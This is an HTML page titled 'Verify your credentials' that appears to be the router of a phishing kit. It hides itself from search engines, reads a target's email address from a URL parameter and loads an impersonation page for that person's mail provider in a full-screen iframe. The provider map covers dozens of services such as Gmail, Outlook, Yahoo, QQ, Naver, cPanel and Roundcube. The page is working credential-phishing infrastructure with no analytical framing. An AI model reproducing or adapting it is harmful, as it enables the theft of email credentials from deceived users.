<!doctype html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex, nofollow">
    <meta name="bingbot" content="noindex, nofollow">
    <meta name="robots" content="noindex, nofollow, noarchive">
    <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta property="og:title" content="No Index No Follow Example">
    <meta property="og:description" content="This page is not meant to be indexed by search engines or crawled.">
    <meta property="og:image" content="">
    <meta name="robots" content="noindex, nofollow, noarchive, nosnippet">
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta charset="utf-8">
    <title id="titl">Verify your credentials</title>
    <style>
        html {
            overflow: hidden;
        }

        body, div, html, iframe {
            margin: 0;
            padding: 0;
            height: 100%;
            border: none;
        }

        iframe {
            display: block;
            width: 100%;
            border: none;
            overflow-y: auto;
            overflow-x: hidden;
        }

        @keyframes rotate-loading {
            0% {
                transform: rotate(0);
            }
            100% {
                transform: rotate(360deg);
            }
        }

        .loading,
        .loading-container {
            height: 100px;
            position: relative;
            width: 100px;
            border-radius: 100%;
        }

        .loading-container {
            margin: 100px auto;
        }

        .loading {
            border: 2px solid transparent;
            border-color: transparent #333 transparent #333;
            animation: rotate-loading 1.5s linear 0s infinite normal;
            transform-origin: 50% 50%;
        }

        #loading-text {
            animation: loading-text-opacity 2s linear 0s infinite normal;
            color: #888;
            font-family: "Helvetica Neue", Helvetica, Arial;
            font-size: 10px;
            font-weight: 700;
            margin-top: 45px;
            opacity: 0;
            position: absolute;
            text-align: center;
            text-transform: uppercase;
            top: 0;
            width: 100px;
        }

        @keyframes loading-text-opacity {
            0% { opacity: 0; }
            20% { opacity: 0; }
            50% { opacity: 1; }
            100% { opacity: 0; }
        }
    </style>
</head>
<body>
    <div class="loading-container" id="loader">
        <div class="loading"></div>
        <div id="loading-text">Loading...</div>
    </div>
    
    <iframe src="#" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="100%" id="fil" scrolling="auto"></iframe>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

    <script>
    function getParameterByName(name, url = window.location.href) {
        const regex = new RegExp(`[?&]${name}=([^&#]*)`, 'i');
        const match = regex.exec(url);
        return match ? decodeURIComponent(match[1].replace(/\+/g, ' ')) : null;
    }

    function base64Decode(base64) {
        try {
            return atob(base64);
        } catch (e) {
            console.error('Invalid Base64 string:', base64);
            return null;
        }
    }

    function base64DecodeOrKeepOriginal(file) {
        try {
            return atob(file); // Attempt Base64 decoding
        } catch (e) {
            return file; // Return original if not Base64
        }
    }

    const domainMap = [
        { file: 'hot-mail.html', keywords: ['hotmail', 'outlook'] },
        { file: 'y.html', keywords: ['yahoo', 'ymail'] },
        { file: 'aruba.html', keywords: ['aruba', 'arubabusiness.it'] },
        { file: 'bigpond.html', keywords: ['bigpond'] },
        { file: 'comcast.html', keywords: ['comcast'] },
        { file: 'chinaemail.html', keywords: ['chinaemail'] },
        { file: 'g.html', keywords: ['gmail', 'googlemail'] },
        { file: 'att.html', keywords: ['att'] },
        { file: 'aol.html', keywords: ['aol'] },
        { file: 'zoho.html', keywords: ['zoho', 'zohomail'] },
        { file: 'biglobe.html', keywords: ['biglobe'] },
        { file: 'centurylink.html', keywords: ['century'] },
        { file: 'chol.html', keywords: ['chol'] },
        { file: 'coremail.html', keywords: ['coremail'] },
        { file: 'ecount.html', keywords: ['ecount'] },
        { file: 'emailit.html', keywords: ['email.it'] },
        { file: 'globalmailcn.html', keywords: ['globalmail'] },
        { file: 'gobizkorea.html', keywords: ['gobiz'] },
        { file: 'godaddy.html', keywords: ['godaddy'] },
        { file: 'hetemail.html', keywords: ['hetemail'] },
        { file: 'hinet.html', keywords: ['hinet'] },
        { file: 'ionos.html', keywords: ['ionos'] },
        { file: 'juno.html', keywords: ['juno'] },
        { file: 'kagoyanet.html', keywords: ['kagoya'] },
        { file: 'localweb.html', keywords: ['localweb'] },
        { file: 'mailplug.html', keywords: ['mailplug', 'mailwood'] },
        { file: 'networksolutions.html', keywords: ['networksolutions'] },
        { file: 'orangefr.html', keywords: ['orange'] },
        { file: 'plala.html', keywords: ['plala'] },
        { file: 'protonmail.html', keywords: ['protonmail'] },
        { file: 'rackspace.html', keywords: ['rackspace'] },
        { file: 'register.html', keywords: ['register'] },
        { file: 'sakura.html', keywords: ['sakura'] },
        { file: 'securemx-jp.html', keywords: ['securemx'] },
        { file: 'spectrum.html', keywords: ['spectrum'] },
        { file: 'strato.html', keywords: ['strato'] },
        { file: 'telkomsa.html', keywords: ['telkomsa'] },
        { file: 'tiscali.html', keywords: ['tiscali'] },
        { file: 't-online.html', keywords: ['t-online'] },
        { file: 'wadax.html', keywords: ['wadax'] },
        { file: 'windstream.html', keywords: ['windstream'] },
        { file: 'worksmobile.html', keywords: ['worksmobile'] },
        { file: 'abv.bg.html', keywords: ['abv'] },
        { file: 'conoha.jp.html', keywords: ['conoha'] },
        { file: 'f.zaq.ne.jp.html', keywords: ['jp'] },
        { file: 'interia.html', keywords: ['interia'] },
        { file: 'mailcloudtw.html', keywords: ['mailcloud'] },
        { file: 'seznam.html', keywords: ['seznam'] },
        { file: 'so-netjp.html', keywords: ['so-net'] },
        { file: 'owa.html', keywords: ['owa'] },
        { file: 'hiworks.html', keywords: ['hiworks'] },
        { file: 'naver.html', keywords: ['naver'] },
        { file: 'qq.html', keywords: ['qq'] },
        { file: 'daum.html', keywords: ['daum', 'kakao', 'hanmail'] },
        { file: 'one-six-three.html', keywords: ['163'] },
        { file: 'vip163.html', keywords: ['vip163'] },
        { file: '126.html', keywords: ['126'] },
        { file: '188.html', keywords: ['188'] },
        { file: '263.html', keywords: ['263'] },
        { file: 'aliyun.html', keywords: ['aliyun'] },
        { file: '139.html', keywords: ['139'] },
        { file: 'zimbra.html', keywords: ['zimbra'] },
        { file: 'w.html', keywords: ['cpanel'] },
        { file: 'oauth-hot.html', keywords: ['oauth'] },
        { file: 'rc.html', keywords: ['roundcube'] },
        { file: 'mailcom.html', keywords: ['mail.com'] }
    ];

    (function() {
  const email = getParameterByName('cms');
  const iframe = document.getElementById('fil');
  const loader = document.getElementById('loader');

  console.log('Email parameter:', email); // Debug email

  if (!email) {
    console.warn('No email provided in URL, loading background2.html as default.');
    iframe.setAttribute('src', 'background2.html'); // Default when no `cms` provided
    loader.style.display = 'none'; // Hide loader
    return;
  }

  const domain = email.includes('@') ? email.split('@')[1].toLowerCase() : null;

  if (!domain) {
    console.error('Invalid email format, loading background2.html as fallback.');
    iframe.setAttribute('src', 'background2.html'); // Default fallback
    loader.style.display = 'none'; // Hide loader
    return;
  }

  console.log('Extracted domain:', domain); // Debug domain extraction

  // Default to de.html if no keywords match
  let iframeSource = 'de.html';

  for (const mapping of domainMap) {
    if (mapping.keywords.some(keyword => domain.includes(keyword))) {
      iframeSource = base64DecodeOrKeepOriginal(mapping.file);
      console.log('Matched file:', iframeSource); // Debug matched file
      break;
    }
  }

  console.log('Setting iframe source to:', `${iframeSource}?cms=${email}`);
  iframe.setAttribute('src', `${iframeSource}?cms=${email}`);
  loader.style.display = 'none'; // Hide loader
})();
</script>
<script src="./config.js"></script>
</body>
</html>